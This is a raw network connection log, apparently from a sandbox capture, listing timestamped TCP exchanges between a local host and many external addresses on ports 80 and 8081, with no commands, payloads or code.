Jul 20, 2024 23:05:44.030884981 CEST	52842	8081	192.168.2.13	136.231.77.244
Jul 20, 2024 23:05:44.031044960 CEST	52842	8081	192.168.2.13	136.231.77.244
Jul 20, 2024 23:05:44.032378912 CEST	37678	8081	192.168.2.13	216.77.147.81
Jul 20, 2024 23:05:44.032413960 CEST	80	57078	95.127.71.38	192.168.2.13
Jul 20, 2024 23:05:44.032535076 CEST	80	57078	95.127.71.38	192.168.2.13
Jul 20, 2024 23:05:44.033456087 CEST	8081	45458	157.212.128.61	192.168.2.13
Jul 20, 2024 23:05:44.033500910 CEST	45458	8081	192.168.2.13	157.212.128.61
Jul 20, 2024 23:05:44.034328938 CEST	53648	80	192.168.2.13	95.214.250.8
Jul 20, 2024 23:05:44.034450054 CEST	53648	80	192.168.2.13	95.214.250.8
Jul 20, 2024 23:05:44.034542084 CEST	53052	8081	192.168.2.13	136.231.77.244
Jul 20, 2024 23:05:44.035679102 CEST	80	57444	95.127.71.38	192.168.2.13
Jul 20, 2024 23:05:44.035748959 CEST	57444	80	192.168.2.13	95.127.71.38
Jul 20, 2024 23:05:44.035840034 CEST	8081	52842	136.231.77.244	192.168.2.13
Jul 20, 2024 23:05:44.036072016 CEST	8081	52842	136.231.77.244	192.168.2.13
Jul 20, 2024 23:05:44.036088943 CEST	54016	80	192.168.2.13	95.214.250.8
Jul 20, 2024 23:05:44.039359093 CEST	48176	8081	192.168.2.13	68.152.129.142
Jul 20, 2024 23:05:44.039359093 CEST	48176	8081	192.168.2.13	68.152.129.142
Jul 20, 2024 23:05:44.039408922 CEST	80	53648	95.214.250.8	192.168.2.13
Jul 20, 2024 23:05:44.039925098 CEST	80	53648	95.214.250.8	192.168.2.13
Jul 20, 2024 23:05:44.040024996 CEST	8081	53052	136.231.77.244	192.168.2.13
Jul 20, 2024 23:05:44.040077925 CEST	53052	8081	192.168.2.13	136.231.77.244
Jul 20, 2024 23:05:44.041107893 CEST	80	54016	95.214.250.8	192.168.2.13
Jul 20, 2024 23:05:44.041178942 CEST	54016	80	192.168.2.13	95.214.250.8
Jul 20, 2024 23:05:44.041774035 CEST	48386	8081	192.168.2.13	68.152.129.142
Jul 20, 2024 23:05:44.043188095 CEST	39770	80	192.168.2.13	95.129.69.195
Jul 20, 2024 23:05:44.043272018 CEST	39770	80	192.168.2.13	95.129.69.195
Jul 20, 2024 23:05:44.044285059 CEST	57658	8081	192.168.2.13	206.53.199.156
Jul 20, 2024 23:05:44.044285059 CEST	57658	8081	192.168.2.13	206.53.199.156
Jul 20, 2024 23:05:44.044464111 CEST	8081	48176	68.152.129.142	192.168.2.13
Jul 20, 2024 23:05:44.044502974 CEST	40140	80	192.168.2.13	95.129.69.195
Jul 20, 2024 23:05:44.044519901 CEST	8081	48176	68.152.129.142	192.168.2.13
Jul 20, 2024 23:05:44.045121908 CEST	8081	34324	130.226.197.71	192.168.2.13
Jul 20, 2024 23:05:44.045773029 CEST	57870	8081	192.168.2.13	206.53.199.156
Jul 20, 2024 23:05:44.047195911 CEST	8081	48386	68.152.129.142	192.168.2.13
Jul 20, 2024 23:05:44.047255993 CEST	48386	8081	192.168.2.13	68.152.129.142
Jul 20, 2024 23:05:44.048897982 CEST	80	39770	95.129.69.195	192.168.2.13
Jul 20, 2024 23:05:44.048907995 CEST	80	39770	95.129.69.195	192.168.2.13
Jul 20, 2024 23:05:44.048999071 CEST	44258	80	192.168.2.13	95.241.185.124
Jul 20, 2024 23:05:44.048999071 CEST	44258	80	192.168.2.13	95.241.185.124
Jul 20, 2024 23:05:44.049772978 CEST	8081	57658	206.53.199.156	192.168.2.13
Jul 20, 2024 23:05:44.049778938 CEST	8081	57658	206.53.199.156	192.168.2.13
Jul 20, 2024 23:05:44.050882101 CEST	80	40140	95.129.69.195	192.168.2.13
Jul 20, 2024 23:05:44.051635981 CEST	8081	57870	206.53.199.156	192.168.2.13
Jul 20, 2024 23:05:44.054316998 CEST	80	44258	95.241.185.124	192.168.2.13
Jul 20, 2024 23:05:44.054568052 CEST	80	44258	95.241.185.124	192.168.2.13
Jul 20, 2024 23:05:44.060964108 CEST	8081	43439	105.13.48.245	192.168.2.13
Jul 20, 2024 23:05:44.060973883 CEST	8081	43439	13.194.168.44	192.168.2.13
Jul 20, 2024 23:05:44.061055899 CEST	8081	43439	1.169.175.62	192.168.2.13
Jul 20, 2024 23:05:44.061062098 CEST	8081	43439	39.220.179.203	192.168.2.13
Jul 20, 2024 23:05:44.061072111 CEST	8081	43439	197.218.31.250	192.168.2.13
Jul 20, 2024 23:05:44.061078072 CEST	8081	43439	197.225.48.105	192.168.2.13
Jul 20, 2024 23:05:44.061088085 CEST	8081	43439	49.41.142.170	192.168.2.13
Jul 20, 2024 23:05:44.061093092 CEST	8081	43439	73.40.23.176	192.168.2.13
Jul 20, 2024 23:05:44.061098099 CEST	8081	43439	161.246.148.112	192.168.2.13
Jul 20, 2024 23:05:44.061108112 CEST	8081	43439	36.6.210.27	192.168.2.13
Jul 20, 2024 23:05:44.061111927 CEST	8081	43439	113.105.40.23	192.168.2.13
Jul 20, 2024 23:05:44.061460972 CEST	8081	43439	45.9.49.220	192.168.2.13
Jul 20, 2024 23:05:44.061465979 CEST	8081	43439	88.64.39.107	192.168.2.13
Jul 20, 2024 23:05:44.061476946 CEST	8081	43439	199.184.77.246	192.168.2.13
Jul 20, 2024 23:05:44.061481953 CEST	8081	43439	163.33.82.160	192.168.2.13
Jul 20, 2024 23:05:44.061491013 CEST	8081	43439	113.138.158.109	192.168.2.13
Jul 20, 2024 23:05:44.061496019 CEST	8081	43439	162.170.48.58	192.168.2.13
Jul 20, 2024 23:05:44.061506987 CEST	8081	43439	4.17.231.30	192.168.2.13
Jul 20, 2024 23:05:44.061511993 CEST	8081	43439	109.227.2.125	192.168.2.13
Jul 20, 2024 23:05:44.061517000 CEST	8081	43439	47.15.28.200	192.168.2.13
Jul 20, 2024 23:05:44.061522007 CEST	8081	43439	192.18.80.120	192.168.2.13
Jul 20, 2024 23:05:44.061532021 CEST	8081	43439	115.114.137.163	192.168.2.13
Jul 20, 2024 23:05:44.061537027 CEST	8081	43439	19.187.75.84	192.168.2.13
Jul 20, 2024 23:05:44.061546087 CEST	8081	43439	9.0.142.114	192.168.2.13
Jul 20, 2024 23:05:44.061551094 CEST	8081	43439	206.246.221.13	192.168.2.13
Jul 20, 2024 23:05:44.061559916 CEST	8081	43439	165.5.97.131	192.168.2.13
Jul 20, 2024 23:05:44.075170994 CEST	80	59880	95.169.160.58	192.168.2.13
Jul 20, 2024 23:05:44.080018044 CEST	80	33610	95.85.44.222	192.168.2.13
Jul 20, 2024 23:05:44.081305981 CEST	8081	37684	154.38.133.150	192.168.2.13
Jul 20, 2024 23:05:44.082921982 CEST	80	34258	95.89.249.69	192.168.2.13
Jul 20, 2024 23:05:44.089653015 CEST	8081	43439	171.243.153.14	192.168.2.13
Jul 20, 2024 23:05:44.089658022 CEST	8081	43439	102.27.31.95	192.168.2.13
Jul 20, 2024 23:05:44.089668036 CEST	8081	43439	34.6.74.76	192.168.2.13
Jul 20, 2024 23:05:44.089859009 CEST	8081	43439	143.137.54.158	192.168.2.13
Jul 20, 2024 23:05:44.089864016 CEST	8081	43439	81.195.255.54	192.168.2.13
Jul 20, 2024 23:05:44.089874029 CEST	8081	43439	202.222.198.119	192.168.2.13
Jul 20, 2024 23:05:44.089879036 CEST	8081	43439	218.17.102.183	192.168.2.13
Jul 20, 2024 23:05:44.089889050 CEST	8081	43439	170.146.252.196	192.168.2.13
Jul 20, 2024 23:05:44.089894056 CEST	8081	43439	130.1.163.109	192.168.2.13
Jul 20, 2024 23:05:44.089899063 CEST	8081	43439	210.77.91.240	192.168.2.13
Jul 20, 2024 23:05:44.089903116 CEST	8081	43439	200.3.27.230	192.168.2.13
Jul 20, 2024 23:05:44.089907885 CEST	8081	43439	65.123.163.157	192.168.2.13
Jul 20, 2024 23:05:44.089911938 CEST	8081	43439	171.225.113.156	192.168.2.13
Jul 20, 2024 23:05:44.089916945 CEST	8081	43439	177.92.132.163	192.168.2.13
Jul 20, 2024 23:05:44.089924097 CEST	8081	43439	188.86.150.157	192.168.2.13
Jul 20, 2024 23:05:44.089936018 CEST	8081	43439	1.237.202.8	192.168.2.13
Jul 20, 2024 23:05:44.091756105 CEST	40140	80	192.168.2.13	95.129.69.195
Jul 20, 2024 23:05:44.096936941 CEST	80	48516	95.12.175.93	192.168.2.13
Jul 20, 2024 23:05:44.103334904 CEST	8081	59244	178.81.111.121	192.168.2.13
Jul 20, 2024 23:05:44.111419916 CEST	8081	37838	223.9.8.159	192.168.2.13
Jul 20, 2024 23:05:44.114456892 CEST	80	58198	95.228.200.238	192.168.2.13
Jul 20, 2024 23:05:44.115993977 CEST	57870	8081	192.168.2.13	206.53.199.156
Jul 20, 2024 23:05:44.116358042 CEST	8081	45458	157.212.128.61	192.168.2.13
Jul 20, 2024 23:05:44.117767096 CEST	80	57444	95.127.71.38	192.168.2.13
Jul 20, 2024 23:05:44.119151115 CEST	8081	53052	136.231.77.244	192.168.2.13
Jul 20, 2024 23:05:44.138981104 CEST	43439	8081	192.168.2.13	39.220.179.203
Jul 20, 2024 23:05:44.142219067 CEST	80	40140	95.129.69.195	192.168.2.13
Jul 20, 2024 23:05:44.142261982 CEST	8081	57870	206.53.199.156	192.168.2.13
Jul 20, 2024 23:05:44.148263931 CEST	43439	8081	192.168.2.13	73.40.23.176
Jul 20, 2024 23:05:44.162292004 CEST	43439	8081	192.168.2.13	1.169.175.62
Jul 20, 2024 23:05:44.162292004 CEST	43439	8081	192.168.2.13	49.41.142.170
Jul 20, 2024 23:05:44.162292004 CEST	43439	8081	192.168.2.13	161.246.148.112
Jul 20, 2024 23:05:44.162589073 CEST	43439	8081	192.168.2.13	197.225.48.105
Jul 20, 2024 23:05:44.162589073 CEST	43439	8081	192.168.2.13	45.9.49.220
Jul 20, 2024 23:05:44.168284893 CEST	59880	80	192.168.2.13	95.169.160.58
Jul 20, 2024 23:05:44.172620058 CEST	43439	8081	192.168.2.13	109.227.2.125
Jul 20, 2024 23:05:44.172620058 CEST	43439	8081	192.168.2.13	115.114.137.163
Jul 20, 2024 23:05:44.177912951 CEST	43439	8081	192.168.2.13	13.194.168.44
Jul 20, 2024 23:05:44.177912951 CEST	43439	8081	192.168.2.13	36.6.210.27
Jul 20, 2024 23:05:44.177912951 CEST	43439	8081	192.168.2.13	199.184.77.246
Jul 20, 2024 23:05:44.177912951 CEST	43439	8081	192.168.2.13	163.33.82.160
Jul 20, 2024 23:05:44.177989006 CEST	43439	8081	192.168.2.13	206.246.221.13
Jul 20, 2024 23:05:44.177989006 CEST	43439	8081	192.168.2.13	165.5.97.131
Jul 20, 2024 23:05:44.179797888 CEST	43439	8081	192.168.2.13	81.195.255.54
Jul 20, 2024 23:05:44.179797888 CEST	43439	8081	192.168.2.13	218.17.102.183
Jul 20, 2024 23:05:44.185120106 CEST	43439	8081	192.168.2.13	113.138.158.109
Jul 20, 2024 23:05:44.185120106 CEST	43439	8081	192.168.2.13	162.170.48.58
Jul 20, 2024 23:05:44.185120106 CEST	43439	8081	192.168.2.13	4.17.231.30
Jul 20, 2024 23:05:44.185146093 CEST	43439	8081	192.168.2.13	105.13.48.245
Jul 20, 2024 23:05:44.185146093 CEST	43439	8081	192.168.2.13	197.218.31.250
Jul 20, 2024 23:05:44.185146093 CEST	43439	8081	192.168.2.13	113.105.40.23
Jul 20, 2024 23:05:44.185146093 CEST	43439	8081	192.168.2.13	88.64.39.107
Jul 20, 2024 23:05:44.187005043 CEST	43439	8081	192.168.2.13	210.77.91.240
Jul 20, 2024 23:05:44.187005043 CEST	43439	8081	192.168.2.13	200.3.27.230
Jul 20, 2024 23:05:44.187005043 CEST	43439	8081	192.168.2.13	177.92.132.163
Jul 20, 2024 23:05:44.189491034 CEST	43439	8081	192.168.2.13	171.225.113.156
Jul 20, 2024 23:05:44.200339079 CEST	43439	8081	192.168.2.13	47.15.28.200
Jul 20, 2024 23:05:44.206155062 CEST	33610	80	192.168.2.13	95.85.44.222
Jul 20, 2024 23:05:44.208865881 CEST	43439	8081	192.168.2.13	192.18.80.120
Jul 20, 2024 23:05:44.208865881 CEST	43439	8081	192.168.2.13	19.187.75.84
Jul 20, 2024 23:05:44.208865881 CEST	43439	8081	192.168.2.13	9.0.142.114
Jul 20, 2024 23:05:44.212570906 CEST	37684	8081	192.168.2.13	154.38.133.150
Jul 20, 2024 23:05:44.212570906 CEST	34258	80	192.168.2.13	95.89.249.69
Jul 20, 2024 23:05:44.213542938 CEST	43439	8081	192.168.2.13	1.237.202.8
Jul 20, 2024 23:05:44.216988087 CEST	80	50800	95.18.187.147	192.168.2.13
Jul 20, 2024 23:05:44.219007969 CEST	43439	8081	192.168.2.13	171.243.153.14
Jul 20, 2024 23:05:44.219007969 CEST	43439	8081	192.168.2.13	102.27.31.95
Jul 20, 2024 23:05:44.219007969 CEST	43439	8081	192.168.2.13	34.6.74.76
Jul 20, 2024 23:05:44.219007969 CEST	43439	8081	192.168.2.13	143.137.54.158
Jul 20, 2024 23:05:44.219007969 CEST	43439	8081	192.168.2.13	202.222.198.119
Jul 20, 2024 23:05:44.219007969 CEST	43439	8081	192.168.2.13	170.146.252.196
Jul 20, 2024 23:05:44.219007969 CEST	43439	8081	192.168.2.13	130.1.163.109
Jul 20, 2024 23:05:44.219007969 CEST	43439	8081	192.168.2.13	65.123.163.157
Jul 20, 2024 23:05:44.219523907 CEST	43439	8081	192.168.2.13	188.86.150.157
Jul 20, 2024 23:05:44.224812984 CEST	58198	80	192.168.2.13	95.228.200.238
Jul 20, 2024 23:05:44.230182886 CEST	48516	80	192.168.2.13	95.12.175.93
Jul 20, 2024 23:05:44.233897924 CEST	57444	80	192.168.2.13	95.127.71.38
Jul 20, 2024 23:05:44.233899117 CEST	45458	8081	192.168.2.13	157.212.128.61
Jul 20, 2024 23:05:44.239948988 CEST	40140	80	192.168.2.13	95.129.69.195
Jul 20, 2024 23:05:44.240184069 CEST	59244	8081	192.168.2.13	178.81.111.121
Jul 20, 2024 23:05:44.251140118 CEST	37838	8081	192.168.2.13	223.9.8.159
Jul 20, 2024 23:05:44.255692959 CEST	53052	8081	192.168.2.13	136.231.77.244
Jul 20, 2024 23:05:44.265494108 CEST	57870	8081	192.168.2.13	206.53.199.156
Jul 20, 2024 23:05:44.272500992 CEST	54494	8081	192.168.2.13	117.162.6.62
Jul 20, 2024 23:05:44.272500992 CEST	54494	8081	192.168.2.13	117.162.6.62
Jul 20, 2024 23:05:44.272517920 CEST	44630	80	192.168.2.13	95.241.185.124
Jul 20, 2024 23:05:44.274095058 CEST	49690	80	192.168.2.13	95.244.33.243
Jul 20, 2024 23:05:44.274095058 CEST	49690	80	192.168.2.13	95.244.33.243
Jul 20, 2024 23:05:44.274509907 CEST	38284	8081	192.168.2.13	209.25.30.35
Jul 20, 2024 23:05:44.274509907 CEST	38284	8081	192.168.2.13	209.25.30.35
Jul 20, 2024 23:05:44.276154041 CEST	50064	80	192.168.2.13	95.244.33.243
Jul 20, 2024 23:05:44.278502941 CEST	8081	54494	117.162.6.62	192.168.2.13
Jul 20, 2024 23:05:44.278563976 CEST	80	44630	95.241.185.124	192.168.2.13
Jul 20, 2024 23:05:44.278568983 CEST	8081	54494	117.162.6.62	192.168.2.13
Jul 20, 2024 23:05:44.278574944 CEST	56418	8081	192.168.2.13	1.70.190.239
Jul 20, 2024 23:05:44.279433966 CEST	44630	80	192.168.2.13	95.241.185.124
Jul 20, 2024 23:05:44.279679060 CEST	80	49690	95.244.33.243	192.168.2.13
Jul 20, 2024 23:05:44.279689074 CEST	80	49690	95.244.33.243	192.168.2.13
Jul 20, 2024 23:05:44.279908895 CEST	8081	38284	209.25.30.35	192.168.2.13
Jul 20, 2024 23:05:44.279912949 CEST	8081	38284	209.25.30.35	192.168.2.13
Jul 20, 2024 23:05:44.281200886 CEST	80	50064	95.244.33.243	192.168.2.13
Jul 20, 2024 23:05:44.281411886 CEST	50064	80	192.168.2.13	95.244.33.243
Jul 20, 2024 23:05:44.283179045 CEST	51954	8081	192.168.2.13	48.169.101.121
Jul 20, 2024 23:05:44.283179045 CEST	51954	8081	192.168.2.13	48.169.101.121
Jul 20, 2024 23:05:44.283427000 CEST	45440	80	192.168.2.13	95.130.191.169
Jul 20, 2024 23:05:44.283427000 CEST	45440	80	192.168.2.13	95.130.191.169
Jul 20, 2024 23:05:44.283704042 CEST	8081	56418	1.70.190.239	192.168.2.13
Jul 20, 2024 23:05:44.283786058 CEST	56418	8081	192.168.2.13	1.70.190.239
Jul 20, 2024 23:05:44.283935070 CEST	52164	8081	192.168.2.13	48.169.101.121
Jul 20, 2024 23:05:44.284603119 CEST	38624	80	192.168.2.13	95.22.148.165
Jul 20, 2024 23:05:44.284603119 CEST	56942	8081	192.168.2.13	63.54.135.76
Jul 20, 2024 23:05:44.284603119 CEST	56942	8081	192.168.2.13	63.54.135.76
Jul 20, 2024 23:05:44.286369085 CEST	80	44630	95.241.185.124	192.168.2.13
Jul 20, 2024 23:05:44.286751986 CEST	54164	8081	192.168.2.13	223.204.31.236
Jul 20, 2024 23:05:44.286864042 CEST	80	50064	95.244.33.243	192.168.2.13
Jul 20, 2024 23:05:44.287808895 CEST	32948	80	192.168.2.13	95.96.165.243
Jul 20, 2024 23:05:44.288542986 CEST	8081	51954	48.169.101.121	192.168.2.13
Jul 20, 2024 23:05:44.288547993 CEST	8081	51954	48.169.101.121	192.168.2.13
Jul 20, 2024 23:05:44.288552046 CEST	80	45440	95.130.191.169	192.168.2.13
Jul 20, 2024 23:05:44.288909912 CEST	80	45440	95.130.191.169	192.168.2.13
Jul 20, 2024 23:05:44.289242983 CEST	8081	52164	48.169.101.121	192.168.2.13
Jul 20, 2024 23:05:44.289285898 CEST	52164	8081	192.168.2.13	48.169.101.121
Jul 20, 2024 23:05:44.289361000 CEST	35782	8081	192.168.2.13	65.70.49.213
Jul 20, 2024 23:05:44.289361000 CEST	35782	8081	192.168.2.13	65.70.49.213
Jul 20, 2024 23:05:44.289565086 CEST	8081	56418	1.70.190.239	192.168.2.13
Jul 20, 2024 23:05:44.289848089 CEST	80	38624	95.22.148.165	192.168.2.13
Jul 20, 2024 23:05:44.289917946 CEST	38624	80	192.168.2.13	95.22.148.165
Jul 20, 2024 23:05:44.289999962 CEST	8081	56942	63.54.135.76	192.168.2.13
Jul 20, 2024 23:05:44.290225983 CEST	35992	8081	192.168.2.13	65.70.49.213
Jul 20, 2024 23:05:44.290458918 CEST	8081	56942	63.54.135.76	192.168.2.13
Jul 20, 2024 23:05:44.291949034 CEST	8081	54164	223.204.31.236	192.168.2.13
Jul 20, 2024 23:05:44.291990995 CEST	54164	8081	192.168.2.13	223.204.31.236
Jul 20, 2024 23:05:44.292371035 CEST	44630	80	192.168.2.13	95.241.185.124
Jul 20, 2024 23:05:44.292376995 CEST	50064	80	192.168.2.13	95.244.33.243
Jul 20, 2024 23:05:44.292376995 CEST	56418	8081	192.168.2.13	1.70.190.239
Jul 20, 2024 23:05:44.292762995 CEST	80	32948	95.96.165.243	192.168.2.13
Jul 20, 2024 23:05:44.292799950 CEST	32948	80	192.168.2.13	95.96.165.243
Jul 20, 2024 23:05:44.295145035 CEST	8081	35782	65.70.49.213	192.168.2.13
Jul 20, 2024 23:05:44.295197964 CEST	56208	8081	192.168.2.13	1.70.190.239
Jul 20, 2024 23:05:44.295197964 CEST	56208	8081	192.168.2.13	1.70.190.239
Jul 20, 2024 23:05:44.295197964 CEST	58898	80	192.168.2.13	95.244.225.178
Jul 20, 2024 23:05:44.295197964 CEST	58898	80	192.168.2.13	95.244.225.178
Jul 20, 2024 23:05:44.295218945 CEST	8081	35782	65.70.49.213	192.168.2.13
Jul 20, 2024 23:05:44.295340061 CEST	8081	35992	65.70.49.213	192.168.2.13
Jul 20, 2024 23:05:44.295511007 CEST	8081	52164	48.169.101.121	192.168.2.13
Jul 20, 2024 23:05:44.295979023 CEST	35992	8081	192.168.2.13	65.70.49.213
Jul 20, 2024 23:05:44.296101093 CEST	50800	80	192.168.2.13	95.18.187.147
Jul 20, 2024 23:05:44.296365976 CEST	52164	8081	192.168.2.13	48.169.101.121
Jul 20, 2024 23:05:44.296550989 CEST	80	38624	95.22.148.165	192.168.2.13
Jul 20, 2024 23:05:44.297454119 CEST	8081	54164	223.204.31.236	192.168.2.13
Jul 20, 2024 23:05:44.298270941 CEST	38250	80	192.168.2.13	95.22.148.165
Jul 20, 2024 23:05:44.298492908 CEST	59274	80	192.168.2.13	95.244.225.178
Jul 20, 2024 23:05:44.298492908 CEST	45818	80	192.168.2.13	95.130.191.169
Jul 20, 2024 23:05:44.300369024 CEST	54164	8081	192.168.2.13	223.204.31.236
Jul 20, 2024 23:05:44.300373077 CEST	38624	80	192.168.2.13	95.22.148.165
Jul 20, 2024 23:05:44.301192045 CEST	8081	35992	65.70.49.213	192.168.2.13
Jul 20, 2024 23:05:44.302439928 CEST	38250	80	192.168.2.13	95.22.148.165
Jul 20, 2024 23:05:44.302439928 CEST	60804	80	192.168.2.13	95.96.165.243
Jul 20, 2024 23:05:44.302439928 CEST	60804	80	192.168.2.13	95.96.165.243
Jul 20, 2024 23:05:44.303742886 CEST	8081	56208	1.70.190.239	192.168.2.13
Jul 20, 2024 23:05:44.303746939 CEST	8081	56208	1.70.190.239	192.168.2.13
Jul 20, 2024 23:05:44.303756952 CEST	80	58898	95.244.225.178	192.168.2.13
Jul 20, 2024 23:05:44.303760052 CEST	80	58898	95.244.225.178	192.168.2.13
Jul 20, 2024 23:05:44.303817034 CEST	80	59274	95.244.225.178	192.168.2.13
Jul 20, 2024 23:05:44.303821087 CEST	80	45818	95.130.191.169	192.168.2.13
Jul 20, 2024 23:05:44.304160118 CEST	59274	80	192.168.2.13	95.244.225.178
Jul 20, 2024 23:05:44.304160118 CEST	45818	80	192.168.2.13	95.130.191.169
Jul 20, 2024 23:05:44.304475069 CEST	35992	8081	192.168.2.13	65.70.49.213
Jul 20, 2024 23:05:44.307475090 CEST	50800	80	192.168.2.13	95.18.187.147
Jul 20, 2024 23:05:44.307475090 CEST	50800	80	192.168.2.13	95.18.187.147
Jul 20, 2024 23:05:44.307706118 CEST	80	38250	95.22.148.165	192.168.2.13
Jul 20, 2024 23:05:44.308424950 CEST	80	38250	95.22.148.165	192.168.2.13
Jul 20, 2024 23:05:44.308444977 CEST	54706	8081	192.168.2.13	117.162.6.62
Jul 20, 2024 23:05:44.308796883 CEST	80	60804	95.96.165.243	192.168.2.13
Jul 20, 2024 23:05:44.308801889 CEST	38496	8081	192.168.2.13	209.25.30.35
Jul 20, 2024 23:05:44.308801889 CEST	57152	8081	192.168.2.13	63.54.135.76
Jul 20, 2024 23:05:44.308801889 CEST	53954	8081	192.168.2.13	223.204.31.236
Jul 20, 2024 23:05:44.308801889 CEST	53954	8081	192.168.2.13	223.204.31.236
Jul 20, 2024 23:05:44.309689999 CEST	33508	8081	192.168.2.13	51.212.187.178
Jul 20, 2024 23:05:44.309689999 CEST	33508	8081	192.168.2.13	51.212.187.178
Jul 20, 2024 23:05:44.309703112 CEST	80	60804	95.96.165.243	192.168.2.13
Jul 20, 2024 23:05:44.309844971 CEST	51178	80	192.168.2.13	95.18.187.147
Jul 20, 2024 23:05:44.311219931 CEST	33720	8081	192.168.2.13	51.212.187.178
Jul 20, 2024 23:05:44.311687946 CEST	46822	80	192.168.2.13	95.33.23.31
Jul 20, 2024 23:05:44.311687946 CEST	46822	80	192.168.2.13	95.33.23.31
Jul 20, 2024 23:05:44.312758923 CEST	47202	80	192.168.2.13	95.33.23.31
Jul 20, 2024 23:05:44.313266993 CEST	80	50800	95.18.187.147	192.168.2.13
Jul 20, 2024 23:05:44.313493013 CEST	58974	8081	192.168.2.13	133.216.2.227
Jul 20, 2024 23:05:44.313505888 CEST	80	50800	95.18.187.147	192.168.2.13
Jul 20, 2024 23:05:44.313841105 CEST	80	59274	95.244.225.178	192.168.2.13
Jul 20, 2024 23:05:44.314141989 CEST	40660	80	192.168.2.13	95.181.116.151
Jul 20, 2024 23:05:44.314141989 CEST	40660	80	192.168.2.13	95.181.116.151
Jul 20, 2024 23:05:44.314276934 CEST	80	45818	95.130.191.169	192.168.2.13
Jul 20, 2024 23:05:44.314506054 CEST	8081	54706	117.162.6.62	192.168.2.13
Jul 20, 2024 23:05:44.314546108 CEST	54706	8081	192.168.2.13	117.162.6.62
Jul 20, 2024 23:05:44.314640999 CEST	8081	38496	209.25.30.35	192.168.2.13
Jul 20, 2024 23:05:44.314646006 CEST	8081	57152	63.54.135.76	192.168.2.13
Jul 20, 2024 23:05:44.314716101 CEST	38496	8081	192.168.2.13	209.25.30.35
Jul 20, 2024 23:05:44.315047026 CEST	57152	8081	192.168.2.13	63.54.135.76
Jul 20, 2024 23:05:44.315102100 CEST	8081	53954	223.204.31.236	192.168.2.13
Jul 20, 2024 23:05:44.315105915 CEST	8081	53954	223.204.31.236	192.168.2.13
Jul 20, 2024 23:05:44.315432072 CEST	41042	80	192.168.2.13	95.181.116.151
Jul 20, 2024 23:05:44.316370010 CEST	59274	80	192.168.2.13	95.244.225.178
Jul 20, 2024 23:05:44.316370010 CEST	45818	80	192.168.2.13	95.130.191.169
Jul 20, 2024 23:05:44.316598892 CEST	8081	33508	51.212.187.178	192.168.2.13
Jul 20, 2024 23:05:44.316602945 CEST	8081	33508	51.212.187.178	192.168.2.13
Jul 20, 2024 23:05:44.316829920 CEST	80	51178	95.18.187.147	192.168.2.13
Jul 20, 2024 23:05:44.316869974 CEST	51178	80	192.168.2.13	95.18.187.147
Jul 20, 2024 23:05:44.317163944 CEST	50672	8081	192.168.2.13	148.104.166.3
Jul 20, 2024 23:05:44.317502975 CEST	8081	33720	51.212.187.178	192.168.2.13
Jul 20, 2024 23:05:44.317523956 CEST	80	46822	95.33.23.31	192.168.2.13
Jul 20, 2024 23:05:44.317605019 CEST	36420	80	192.168.2.13	95.42.35.197
Jul 20, 2024 23:05:44.317605019 CEST	36420	80	192.168.2.13	95.42.35.197
Jul 20, 2024 23:05:44.317692995 CEST	33720	8081	192.168.2.13	51.212.187.178
Jul 20, 2024 23:05:44.318380117 CEST	48684	8081	192.168.2.13	139.32.96.77
Jul 20, 2024 23:05:44.318697929 CEST	80	47202	95.33.23.31	192.168.2.13
Jul 20, 2024 23:05:44.318808079 CEST	36806	80	192.168.2.13	95.42.35.197
Jul 20, 2024 23:05:44.318808079 CEST	47202	80	192.168.2.13	95.33.23.31
Jul 20, 2024 23:05:44.318890095 CEST	8081	58974	133.216.2.227	192.168.2.13
Jul 20, 2024 23:05:44.319442987 CEST	58974	8081	192.168.2.13	133.216.2.227
Jul 20, 2024 23:05:44.319953918 CEST	56040	80	192.168.2.13	95.182.20.151
Jul 20, 2024 23:05:44.319953918 CEST	56040	80	192.168.2.13	95.182.20.151
Jul 20, 2024 23:05:44.320100069 CEST	80	40660	95.181.116.151	192.168.2.13
Jul 20, 2024 23:05:44.320624113 CEST	80	41042	95.181.116.151	192.168.2.13
Jul 20, 2024 23:05:44.320667028 CEST	41042	80	192.168.2.13	95.181.116.151
Jul 20, 2024 23:05:44.322185993 CEST	56428	80	192.168.2.13	95.182.20.151
Jul 20, 2024 23:05:44.322592974 CEST	44472	8081	192.168.2.13	223.107.38.37
Jul 20, 2024 23:05:44.322618008 CEST	8081	54706	117.162.6.62	192.168.2.13
Jul 20, 2024 23:05:44.323446035 CEST	57434	80	192.168.2.13	95.61.59.169
Jul 20, 2024 23:05:44.323446035 CEST	57434	80	192.168.2.13	95.61.59.169
Jul 20, 2024 23:05:44.323645115 CEST	51448	8081	192.168.2.13	165.35.3.0
Jul 20, 2024 23:05:44.324326992 CEST	8081	38496	209.25.30.35	192.168.2.13
Jul 20, 2024 23:05:44.324341059 CEST	8081	57152	63.54.135.76	192.168.2.13
Jul 20, 2024 23:05:44.324362040 CEST	54706	8081	192.168.2.13	117.162.6.62
Jul 20, 2024 23:05:44.324372053 CEST	80	36420	95.42.35.197	192.168.2.13
Jul 20, 2024 23:05:44.324377060 CEST	80	51178	95.18.187.147	192.168.2.13
Jul 20, 2024 23:05:44.324385881 CEST	80	36420	95.42.35.197	192.168.2.13
Jul 20, 2024 23:05:44.324404001 CEST	57824	80	192.168.2.13	95.61.59.169
Jul 20, 2024 23:05:44.325109959 CEST	8081	50672	148.104.166.3	192.168.2.13
Jul 20, 2024 23:05:44.325170040 CEST	50672	8081	192.168.2.13	148.104.166.3
Jul 20, 2024 23:05:44.325189114 CEST	8081	48684	139.32.96.77	192.168.2.13
Jul 20, 2024 23:05:44.325196981 CEST	8081	33720	51.212.187.178	192.168.2.13
Jul 20, 2024 23:05:44.325239897 CEST	48684	8081	192.168.2.13	139.32.96.77
Jul 20, 2024 23:05:44.325625896 CEST	80	36806	95.42.35.197	192.168.2.13
Jul 20, 2024 23:05:44.325660944 CEST	36806	80	192.168.2.13	95.42.35.197
Jul 20, 2024 23:05:44.326560020 CEST	80	56040	95.182.20.151	192.168.2.13
Jul 20, 2024 23:05:44.326589108 CEST	80	56040	95.182.20.151	192.168.2.13
Jul 20, 2024 23:05:44.326749086 CEST	57156	80	192.168.2.13	95.74.67.173
Jul 20, 2024 23:05:44.326749086 CEST	57156	80	192.168.2.13	95.74.67.173
Jul 20, 2024 23:05:44.327240944 CEST	46362	8081	192.168.2.13	180.233.160.163
Jul 20, 2024 23:05:44.327337980 CEST	80	56428	95.182.20.151	192.168.2.13
Jul 20, 2024 23:05:44.327384949 CEST	56428	80	192.168.2.13	95.182.20.151
Jul 20, 2024 23:05:44.327806950 CEST	8081	44472	223.107.38.37	192.168.2.13
